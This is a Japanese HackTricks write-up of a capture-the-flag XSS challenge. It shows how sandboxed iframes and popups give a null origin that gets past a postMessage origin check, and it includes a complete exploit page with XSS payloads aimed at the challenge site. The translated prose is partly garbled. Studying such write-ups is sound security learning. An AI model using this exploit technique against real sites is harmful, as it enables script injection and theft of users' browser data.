Bypassing SOP with Iframes - 1

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

SOP-1のIFrames

このchallengeは、NDevTKTerjanqによって作成されました。ここでは、コード内のXSSを悪用する必要があります。

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

SOPバイパス1(e.origin === null)

//example.orgsandbox付きのiframeに埋め込まれると、ページのoriginは**nullになります。つまり、window.origin === nullです。したがって、<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">を通じてiframeを埋め込むことで、null origin**を強制できます。

ページが埋め込み可能であれば、その保護をバイパスすることができます(クッキーもSameSite=Noneに設定する必要があるかもしれません)。

SOPバイパス2(window.origin === null)

あまり知られていない事実は、sandbox値がallow-popupsに設定されている場合、開かれたポップアップallow-popups-to-escape-sandboxが設定されていない限り、すべてのsandbox属性継承します。 したがって、null originからポップアップを開くと、ポップアップ内の**window.originnull**になります。

チャレンジの解決策

したがって、このチャレンジでは、iframeを作成し、脆弱なXSSコードハンドラ(/iframe.php)があるページにポップアップを開くことができます。window.origin === e.originとなるため、両方がnullであるため、XSSを悪用するペイロードを送信することが可能です。

そのペイロード識別子を取得し、XSSトップページ(ポップアップを開いたページ)に送信します。トップページ脆弱な/iframe.phpロケーションを変更します。識別子が既知であるため、条件window.origin === e.originが満たされていなくても問題ありません(覚えておいてください、originはiframeからのポップアップで**null origin**を持っています)data.identifier === identifier。その後、XSSが再度トリガーされ、今度は正しいoriginで実行されます。

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

Last updated